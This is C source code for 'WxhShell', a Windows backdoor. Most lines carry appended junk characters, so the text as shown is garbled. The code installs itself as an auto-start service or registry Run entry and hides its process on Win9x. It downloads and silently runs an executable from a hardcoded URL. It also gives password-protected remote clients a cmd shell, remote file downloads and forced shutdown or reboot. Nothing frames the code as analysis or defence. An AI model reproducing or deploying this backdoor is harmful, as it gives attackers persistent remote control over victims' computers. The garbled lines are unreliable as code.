  // 关机 ,MD >Jx|  
  case 'd': { YwJ<0;:+hS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :oJ!9\5  
    if(Boot(SHUTDOWN)) B:)vPO+ d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3q7i`AZ  
    else { RR>G}u9 np  
    closesocket(wsh); M,SIs 3  
    ExitThread(0); ; $UB@)7%  
    } ,k m`-6.2?  
    break; M\kct7Y  
    } q{7+N1 "  
  // 获取shell 5_SxX@fW %  
  case 's': { u)l[*";S  
    CmdShell(wsh); &>XSQB(&%  
    closesocket(wsh); 5%" 0  
    ExitThread(0); fjS#  
    break; kFi=^#J{  
  } 8+~'T|  
  // 退出 ;5}"2hU>  
  case 'x': { r4 ;nkx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $oZV 54  
    CloseIt(wsh); i.+#a2   
    break; >  !WFY  
    } 3 FLht L  
  // 离开 2O`s'&.h  
  case 'q': { QB7^8O!<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y+3r{OI  
    closesocket(wsh); wodff_l  
    WSACleanup(); F/D/1w^ iR  
    exit(1); `_M&zN  
    break; kk aS&r>  
        } I0sw/,J/Z  
  } 1@`mpm#Y  
  } $P Tl{  
58Z,(4:E  
  // 提示信息 _i0,?U2C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E D_J8 +  
} |exjrsmM*  
  } bd`}2vr  
Y^ ,G} &p  
  return; 0j[%L!hny  
} }vQ Y+O  
&P>a  
// shell模块句柄 -)E6{  
int CmdShell(SOCKET sock) +Z/aG k;  
{ 1$uO%  
STARTUPINFO si; PL7_j  
ZeroMemory(&si,sizeof(si)); Tc;j)_C)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d~O)mJ J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m[&pR2T  
PROCESS_INFORMATION ProcessInfo; y-vB C3  
char cmdline[]="cmd"; ,in"8aT}~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m H&WoL<K  
  return 0; E XQ 3(:&  
} $-_@MT~  
Ga $EM  
// 自身启动模式 ~`VD}{[,B  
int StartFromService(void) =%d0MZD  
{ W sDFui  
typedef struct YXTd^M~@D  
{ [f-<M@id/  
  DWORD ExitStatus; >^d+;~Q;  
  DWORD PebBaseAddress; fvw&y+|y!  
  DWORD AffinityMask; ziD+% -  
  DWORD BasePriority; k0-,qM#p;X  
  ULONG UniqueProcessId; <>[]- Vq  
  ULONG InheritedFromUniqueProcessId; (1;%V>,L  
}   PROCESS_BASIC_INFORMATION; 4CioVQdj  
)Jd{WC.  
PROCNTQSIP NtQueryInformationProcess; m#t  
i^6g1"h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <@H=XEn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X:gE mcXc  
qvN 5[rb  
  HANDLE             hProcess; F$H^W@<w  
  PROCESS_BASIC_INFORMATION pbi; OEj%cB!  
GZNfx8zsY+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dq~D4|  
  if(NULL == hInst ) return 0; !\N|$-M  
FLOSdMYdw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C-L["O0[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jxA*Gg3cT5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o`ijdg!5qG  
? Eh)JJt  
  if (!NtQueryInformationProcess) return 0; /N\[ C"8  
J l9w/T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p+|(lrYC  
  if(!hProcess) return 0; jR o4+8  
xouy|Nn'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <LOas$  
4Nz]LK%@  
  CloseHandle(hProcess); \J3n[6;  
K@+(6\6I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rJ_fg$.<  
if(hProcess==NULL) return 0; BJ7m3[lz  
&&{_T4  
HMODULE hMod; [[9XqD]  
char procName[255]; mRC6m K>  
unsigned long cbNeeded; \j3XT}  
7Ys\=W1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <{b#nPc!,#  
IBe0?F #  
  CloseHandle(hProcess); 334tg'2]  
00(#_($  
if(strstr(procName,"services")) return 1; // 以服务启动 dEM=U;  
iWu^m+"k  
  return 0; // 注册表启动 rJ}k!}G  
} i2+vUl|;Z  
>6zXr.  
// 主模块 Na2n4x!  
int StartWxhshell(LPSTR lpCmdLine) (.54`[2+L  
{ 5Rec~&v  
  SOCKET wsl; Sej\Gt  
BOOL val=TRUE; E;C=V2#>[  
  int port=0; \%011I4  
  struct sockaddr_in door; S) [$F}  
tcU4$%H/  
  if(wscfg.ws_autoins) Install(); 7e D<(  
9a0ibN6m  
port=atoi(lpCmdLine); d 1bx5U  
dTW3mF4=  
if(port<=0) port=wscfg.ws_port; q2KWSh5  
$mp'/]  
  WSADATA data; Ik74%x7G`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I4"U/iL51  
QnNddCiu=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p6e9mSs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U:o(%dk  
  door.sin_family = AF_INET; L=."<,\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $*[-kIy  
  door.sin_port = htons(port); bp?4)C*R  
7*&$-Hv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2pQdDbm  
closesocket(wsl); C [h^bBq  
return 1; +HOHu*D  
} -%#F5br%  
"G3zl{?GP  
  if(listen(wsl,2) == INVALID_SOCKET) { B '"RKs]  
closesocket(wsl); 5Myp#!|x:  
return 1; H]/!J]  
} zV8^Hxl  
  Wxhshell(wsl); ?h4Rh0rkX  
  WSACleanup(); 49m}~J=*  
C0@[4a$8f  
return 0; B&oP0 jS  
d;9F2,k$w  
}  E\! <=  
T=n)ea A  
// 以NT服务方式启动 nd/.]"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dNMz(~A[Y  
{ Y"&1jud4xl  
DWORD   status = 0; t*'U|K4L/  
  DWORD   specificError = 0xfffffff; Ei[>%Ah  
8bIwRVA2\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2XN];,{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HQO z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E)=X8y  
  serviceStatus.dwWin32ExitCode     = 0; [nnX,;  
  serviceStatus.dwServiceSpecificExitCode = 0; j[Xc i<m  
  serviceStatus.dwCheckPoint       = 0; dW8M^A&  
  serviceStatus.dwWaitHint       = 0; aV'r oxM  
2PSt*(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [C"[#7  
  if (hServiceStatusHandle==0) return;  H*]B7?S  
hRvj iK\  
status = GetLastError(); ?nya;Z-~Hc  
  if (status!=NO_ERROR) .:)nG(7f<  
{ ') -Rv]xe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,B=;NKo  
    serviceStatus.dwCheckPoint       = 0; c/q -WEKL  
    serviceStatus.dwWaitHint       = 0; m|5yET  
    serviceStatus.dwWin32ExitCode     = status; bez_|fY{T  
    serviceStatus.dwServiceSpecificExitCode = specificError; $WV N4fg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CkJ\v%JAW  
    return; @3:oo /;  
  } A!&hjV`  
6 -\ghPo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fl'+ C  
  serviceStatus.dwCheckPoint       = 0; sC=fXCGW\p  
  serviceStatus.dwWaitHint       = 0; &CEZ+\bA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "}jY;d#n  
} =(x W7Pt~  
z sZP\  
// 处理NT服务事件,比如:启动、停止 CI };$4W~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XvIrO]F-  
{ ED+tVXyw  
switch(fdwControl) eZ^-gk?  
{ -:|1>og  
case SERVICE_CONTROL_STOP: 2 Xt$KF,?  
  serviceStatus.dwWin32ExitCode = 0; ;ESuj'*t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C=z7Gk=  
  serviceStatus.dwCheckPoint   = 0; X_0Ta_u?T  
  serviceStatus.dwWaitHint     = 0; UmRI! WQl  
  { k}yUD 0Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uS%Y$v  
  } `T]1u4^E  
  return; rfdT0xfcU  
case SERVICE_CONTROL_PAUSE: @}{~Ofs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vQ/&iAyut  
  break; E4nj*Lp~+  
case SERVICE_CONTROL_CONTINUE: %j3 *j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8=%%C:  
  break; DgQw9`W A  
case SERVICE_CONTROL_INTERROGATE: ARD&L$AX  
  break; ^Cs5A0xo#s  
}; oq<n5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Jr~ )o   
} `2M`;$~ 5  
+Xg]@IS-eg  
// 标准应用程序主函数 h* to%N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SbLx`]rI  
{ #$GDKK  
O#e'.n!rI  
// 获取操作系统版本 BWbM$@'x  
OsIsNt=GetOsVer(); wlM"Zt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'NJCU.lKm  
5+gSpg]i  
  // 从命令行安装 YRy5.F%?  
  if(strpbrk(lpCmdLine,"iI")) Install(); $RYsqX\v  
CqRG !J  
  // 下载执行文件 BN?OvQ  
if(wscfg.ws_downexe) { ?>_[hZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WzC_M>_  
  WinExec(wscfg.ws_filenam,SW_HIDE); IfH*saN7  
} BmRk|b  
@} 61D  
if(!OsIsNt) { F .(zS(q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;eG,T-:  
HideProc(); L %[om c?  
StartWxhshell(lpCmdLine); u H}cvshv  
} o0nKgq'w|x  
else J8T?=%?=  
  if(StartFromService()) EMDsi2  
  // 以服务方式启动 /idQfff  
  StartServiceCtrlDispatcher(DispatchTable); ="$9 <wt  
else 2\Vzfca  
  // 普通方式启动 jORU+g  
  StartWxhshell(lpCmdLine); Z>)(yi9+  
<4gT8 kQ$x  
return 0; .."=  
} D=w5Lks  
_oB!-#  
w+P?JR!)+  
u'o."J^&'  
=========================================== VFZ_Vw  
a]<y*N?qu  
o2FQ/EIE  
v>2gx1F"?  
|G+6R-_  
vpoeK'bi,  
" c&1:H1#  
z(AhO  
#include <stdio.h> &ggS!y'n  
#include <string.h> *LTFDC  
#include <windows.h> &uh|! lD  
#include <winsock2.h> ;E8.,#/a  
#include <winsvc.h> =AhXEu^  
#include <urlmon.h> >i>%@  
rpk )i:k\  
#pragma comment (lib, "Ws2_32.lib") U{2[n F  
#pragma comment (lib, "urlmon.lib") ~ >af"<  
eB`7C"Z  
#define MAX_USER   100 // 最大客户端连接数 K[%)_KW  
#define BUF_SOCK   200 // sock buffer %"2 ;i@  
#define KEY_BUFF   255 // 输入 buffer ;TAf[[P  
HQ8oOn  
#define REBOOT     0   // 重启 nQ/R,+6h  
#define SHUTDOWN   1   // 关机 fh0a "#L{  
8._ A[{.f  
#define DEF_PORT   5000 // 监听端口 L#Mul&r3x0  
YxEc(a"  
#define REG_LEN     16   // 注册表键长度 K5O#BBX=  
#define SVC_LEN     80   // NT服务名长度 zFy0Sz F  
wzr3 y}fCe  
// 从dll定义API u? a*bW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #K|:BS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,\ y)k}0lH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pg]&^d&$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6!|-,t><  
2]Nc@wX`p  
// wxhshell配置信息 CS;bm `8a  
struct WSCFG { NuLyu=.?  
  int ws_port;         // 监听端口 &{): x  
  char ws_passstr[REG_LEN]; // 口令 j4v.8;  
  int ws_autoins;       // 安装标记, 1=yes 0=no *C~O[:6D  
  char ws_regname[REG_LEN]; // 注册表键名 R^`#xQ  
  char ws_svcname[REG_LEN]; // 服务名 S\"/=|\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZGUhje!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G+^Q _w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gpBpG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^-, aB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,O[HX?>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jG"n);WF  
I`?6>Z+%)  
}; TA=VfA B  
<P)vx  
// default Wxhshell configuration n%o"n?e  
struct WSCFG wscfg={DEF_PORT, eIEr\X4\~~  
    "xuhuanlingzhe", F;Q8^C0e*c  
    1, tta\.ic  
    "Wxhshell", O1+2Z\F  
    "Wxhshell", c#?JW:^|Df  
            "WxhShell Service", j'#Y$d1.  
    "Wrsky Windows CmdShell Service", l$ABOtM@  
    "Please Input Your Password: ", ,J|8P{ZO  
  1, VTOZ #*f  
  "http://www.wrsky.com/wxhshell.exe", fVlTsc|e  
  "Wxhshell.exe" n\f8%z  
    }; s2-`}LL  
xXpeo_y'  
// 消息定义模块 {&_1/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d4Y8q1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |!VSed#FSn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `GsFvxz  
char *msg_ws_ext="\n\rExit."; Sm6hyZFy  
char *msg_ws_end="\n\rQuit."; 1wX0x.4d  
char *msg_ws_boot="\n\rReboot..."; R;2tb7o  
char *msg_ws_poff="\n\rShutdown..."; }%K)R 5C  
char *msg_ws_down="\n\rSave to "; =-XI)JV#  
0{0|M8  
char *msg_ws_err="\n\rErr!";  jpc bW  
char *msg_ws_ok="\n\rOK!"; YK[PC]w  
r=Up-(j  
char ExeFile[MAX_PATH]; PNwXZ/N%  
int nUser = 0; -e6~0%X  
HANDLE handles[MAX_USER]; K:PPZ|  
int OsIsNt; `:hEc<_/  
1]wx Ru  
SERVICE_STATUS       serviceStatus; =Ri'Pr x&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,G,'#]  
"pdq_35  
// 函数声明 W,<P])  
int Install(void); Q;]g9T[)  
int Uninstall(void); S2/6VoGE  
int DownloadFile(char *sURL, SOCKET wsh); \ /(;LHWQ  
int Boot(int flag); r|U'2+vn  
void HideProc(void); =+K2`=y;WF  
int GetOsVer(void); 's.%rre%  
int Wxhshell(SOCKET wsl); UZ8 vZ  
void TalkWithClient(void *cs); 8!a6)Zeux  
int CmdShell(SOCKET sock); Q;m:o8Q5  
int StartFromService(void); #/u%sX`#y  
int StartWxhshell(LPSTR lpCmdLine); &/K:zWk3mx  
7X \azL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^T):\x(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MdzG2uZT  
/s91[n(d  
// 数据结构和表定义 }pP<+U  
SERVICE_TABLE_ENTRY DispatchTable[] = so~vnSQ!x  
{ 4CR.=  
{wscfg.ws_svcname, NTServiceMain}, {0J TN%e  
{NULL, NULL} 9,h'cf`F  
}; ?T+Uu  
fv1pA+zN[  
// 自我安装 6$"gm$3O]  
int Install(void) o)_;cCr)q  
{ ?LP&VU1  
  char svExeFile[MAX_PATH]; 7_,)"J2^  
  HKEY key; "c[ D 0{\{  
  strcpy(svExeFile,ExeFile); 9$-V/7@)  
DOi\DJV!  
// 如果是win9x系统,修改注册表设为自启动 C_>dJYM  
if(!OsIsNt) { t@K N+ C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h^{D "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &X 0qH8W  
  RegCloseKey(key); }O+F#/6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o.qeF4\d6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <k2Qcicy  
  RegCloseKey(key); +bi%4DA  
  return 0; r^<W$-#  
    } ?k$3( -  
  } PCxv_Svf  
} i qCZIahf  
else { dA;f`Bi;Q  
c< ke)@  
// 如果是NT以上系统,安装为系统服务 `4 Jlf!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *], ]E;  
if (schSCManager!=0) wYTF:Ou^5~  
{ 7O3\  
  SC_HANDLE schService = CreateService a78&<  
  ( [I*BEJ;W'  
  schSCManager, .Rq|F  
  wscfg.ws_svcname, Jf<+VJ>t  
  wscfg.ws_svcdisp, (A.%q1h  
  SERVICE_ALL_ACCESS, <"|BuK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~HbZRDcJc  
  SERVICE_AUTO_START, O2[uN@nY  
  SERVICE_ERROR_NORMAL, :Oz! M&Ov  
  svExeFile, -rYOx9P4  
  NULL, *,w9#?2x  
  NULL, 'je=.{[lWt  
  NULL, 7<W7pXDp  
  NULL, E 9=a+l9  
  NULL ZqaCe>  
  ); ;x.xj/7  
  if (schService!=0) sxq'uF(K  
  { $0[T=9q <+  
  CloseServiceHandle(schService); MjIp~?*  
  CloseServiceHandle(schSCManager); tOn_S@/r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n !ty\E  
  strcat(svExeFile,wscfg.ws_svcname); L_Q1:nL-0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Wv=mBEfZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Do3;-yp>`  
  RegCloseKey(key); -\mbrbG9H  
  return 0; 3c<). aC0f  
    } Fs rGI (x?  
  } k@qn' Zi  
  CloseServiceHandle(schSCManager); L&td4`2y  
} ]|cL+|':y  
} !(=bH"P  
b[<Q_7~2  
return 1; v#EXlpS  
} =i jGB~  
r"s <;  
// 自我卸载 P$MAURFm  
int Uninstall(void) Yrb[:;Y  
{ a =LjFpv/]  
  HKEY key; rYI9?q  
^:Vwblv(  
if(!OsIsNt) { tWkD@w`Lnn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $E;`Y|r%WK  
  RegDeleteValue(key,wscfg.ws_regname); qV57P6<  
  RegCloseKey(key); x%kS:!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $j(2M?.>#  
  RegDeleteValue(key,wscfg.ws_regname); g%1FTl  
  RegCloseKey(key); rf.w}B;V;  
  return 0; HhfuHZ<  
  } 3cK`RM `  
} 8NLTq|sW  
} }a= &o6=  
else { /`yb75  
=k]RzeI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <5*cc8  
if (schSCManager!=0) Z{/0 P  
{ ^hOnLy2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \D8d!gr  
  if (schService!=0) K9Dxb  
  { {3Z&C$:s  
  if(DeleteService(schService)!=0) { R3;GMe@D#  
  CloseServiceHandle(schService); 7[ )4k7  
  CloseServiceHandle(schSCManager); ,}%+5yH  
  return 0;  2lw0'  
  } (r_xs  
  CloseServiceHandle(schService); ,]e!OZ[$m  
  } 3rX5haD\  
  CloseServiceHandle(schSCManager); 7<&CN0&  
} JCNZtWF  
} "i$Av m  
j>s> i  
return 1; X^4HYm  
} M|e Qds  
*RKYdwnb  
// 从指定url下载文件 A-:58Qau+  
int DownloadFile(char *sURL, SOCKET wsh) ZgCG'SU  
{ $Oa} U3  
  HRESULT hr;  k?|l;6  
char seps[]= "/"; ;c"T#CH.  
char *token; eaQ)r?M  
char *file; Y2i:ZP  
char myURL[MAX_PATH]; o@[yF<  
char myFILE[MAX_PATH]; ;j]0GD,c$  
F$Q( 2:w  
strcpy(myURL,sURL); F)4Y;;#  
  token=strtok(myURL,seps); &mj98  
  while(token!=NULL) {<7!=@j  
  { r (Ab+1b  
    file=token; +o)o4l%3  
  token=strtok(NULL,seps); E.kGBA;a?  
  } >jU.R;H5  
ES72yh]  
GetCurrentDirectory(MAX_PATH,myFILE); FJl#NOp&  
strcat(myFILE, "\\"); _ 1[5~Pnh  
strcat(myFILE, file); nunTTE,iq%  
  send(wsh,myFILE,strlen(myFILE),0); X&sXss<fO%  
send(wsh,"...",3,0); h%MjVuLn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WXP=U^5Si  
  if(hr==S_OK) ?.#?h>MS{s  
return 0; F"xD^<i  
else =}5;rK  
return 1; )F;`07  
Q/rOIHiI  
} _+%RbJ~H  
0?525^   
// 系统电源模块 :Rc>=)<7  
int Boot(int flag) E[bJ5o**#  
{ k4te[6)  
  HANDLE hToken; .]`LR@qf  
  TOKEN_PRIVILEGES tkp; 7a.$tT  
>h>X/a(=~  
  if(OsIsNt) { !kZ9Ox9^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3# G;uWN-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4R-Y9:^t  
    tkp.PrivilegeCount = 1; ]Ga}+^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SBo>\<@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -d? 9Acd  
if(flag==REBOOT) { 3uO#/EbS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `MFw2nu@t  
  return 0; :JW!$?s8H  
} xj~ /C5@  
else { GEU:xn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .-t#wXEi  
  return 0; ehQ"<.sQ  
} / *J}7  
  } isK~=  
  else { C=L_@{^Rgb  
if(flag==REBOOT) { =E@wi?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t_1a.Jv  
  return 0; k@nx+fO}P  
} <H3njv  
else { iLf:an*vH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @D_=M tF<  
  return 0; C YA#:  
} 4G;FpWQm  
} [|PVq#(  
x]|8  
return 1; .8[B }S(  
} ')%Kv`hz  
%O-RhB4q  
// win9x进程隐藏模块 iQsv^K!\  
void HideProc(void) W,~s0a!  
{ '3S S%W  
p?S:J`q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5^lroC-(x  
  if ( hKernel != NULL ) 9B &QY 2v  
  { 0MDdcjqw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K r $R"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )%'Lm  
    FreeLibrary(hKernel); 1jU<]09.  
  } VXEA.Mko  
^zn j J\  
return; 5zXw0_  
} ]37k\O?vd  
7n W*3(  
// 获取操作系统版本 uJVu:E.#1  
int GetOsVer(void) F4+mkB:w*7  
{ , |SO'dG  
  OSVERSIONINFO winfo; OM5"&ZIZb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C 9IKX  
  GetVersionEx(&winfo); 6FPGQ0q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !{5jP|vo  
  return 1; \5UwZx\  
  else Z'c{4b`N  
  return 0; %Hdg,NH  
} Oq~>P!=   
&Npv~Iy  
// 客户端句柄模块 yIC.Jm D*  
int Wxhshell(SOCKET wsl) R=ddQ:W6g  
{ P~n I6/r1  
  SOCKET wsh; ]eA<  
  struct sockaddr_in client; ( XYYbP  
  DWORD myID; @a,X{ 0  
8`E9a  
  while(nUser<MAX_USER) nnLE dJ}n  
{ Am3^3>  
  int nSize=sizeof(client); Iw(2D(se  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 OR L  
  if(wsh==INVALID_SOCKET) return 1; >o #^r;  
'@'~_BBZP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \z!*)v/{-  
if(handles[nUser]==0) is&A_C7yg  
  closesocket(wsh); s6<`#KFAg  
else UEmNT9V  
  nUser++; Rfh#JO@%[  
  } zA[6rYXY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PZ2$ [s0W  
k]FP1\Y  
  return 0; aH<BqD[#  
} Di{T3~fqU  
bv$g$  
// 关闭 socket 5^'PjtW6  
void CloseIt(SOCKET wsh) -DDH)VO  
{ +f/G2qY!t  
closesocket(wsh); D&_Ir>"\  
nUser--; !FOPFPn  
ExitThread(0); VQE8hQ37  
} "'p;Udt/Qm  
oj*5m+:>a  
// 客户端请求句柄 t{?UNW  
void TalkWithClient(void *cs) %v=z|d5-3  
{ ^SnGcr|a'  
0] e=  
  SOCKET wsh=(SOCKET)cs; VgG*y#Qf$  
  char pwd[SVC_LEN]; #mY*H^jI]~  
  char cmd[KEY_BUFF]; UP=0>jjbn:  
char chr[1]; @2Xw17[f35  
int i,j; Wj2]1A  
Z\8TpwD2  
  while (nUser < MAX_USER) { 7M#2Tze}  
5`,qKJ  
if(wscfg.ws_passstr) { I12WOL q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P6w!r>?6N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wic"a Y<m  
  //ZeroMemory(pwd,KEY_BUFF); ]0P-?O:  
      i=0; ,^,KWi9  
  while(i<SVC_LEN) { b,kXV<KtU  
Rb=T'x'  
  // 设置超时 V D+TJ` r  
  fd_set FdRead; |GgFdn`>  
  struct timeval TimeOut; ?_36uJo}  
  FD_ZERO(&FdRead); "e62g  
  FD_SET(wsh,&FdRead); NYtp&[s2-  
  TimeOut.tv_sec=8; s>d@=P>R  
  TimeOut.tv_usec=0; 5|YpkY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dn/0>|5OF(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n[4F\I>  
}R5>ja0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *qKPZb~  
  pwd=chr[0]; vy W/f  
  if(chr[0]==0xd || chr[0]==0xa) { 1zNH[   
  pwd=0; # JHicx\8l  
  break; }.O,P'k  
  } [eL?O;@BD  
  i++; 0eq="|n^|  
    } O~yPe.  
+=#sa m*i  
  // 如果是非法用户,关闭 socket 6wH]W+A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O o9 ePw7  
} /CX_@%m}e=  
HRO :U%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Aa t _5p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =*0<.Lo':  
KK" uSC  
while(1) { nxH=Ut7{  
{8D`A;KD  
  ZeroMemory(cmd,KEY_BUFF); I]N?}]uZ  
$ ;cZq  
      // 自动支持客户端 telnet标准   xVHZZ?e  
  j=0; u 0KVp6`  
  while(j<KEY_BUFF) { >#).3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '&@'V5}C{  
  cmd[j]=chr[0]; {J3;4p-&  
  if(chr[0]==0xa || chr[0]==0xd) { GkqKIs  
  cmd[j]=0; )s^D}I(  
  break; |x*~PXb  
  } ` MIZqHM @  
  j++; SSO F\  
    } \{  
;&4}hPq  
  // 下载文件 &~oBJar  
  if(strstr(cmd,"http://")) { d`9% :2qE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +{Yd\{9  
  if(DownloadFile(cmd,wsh)) 9[}L=n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#$:X+lw  
  else 7Pspx'u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,,kU  
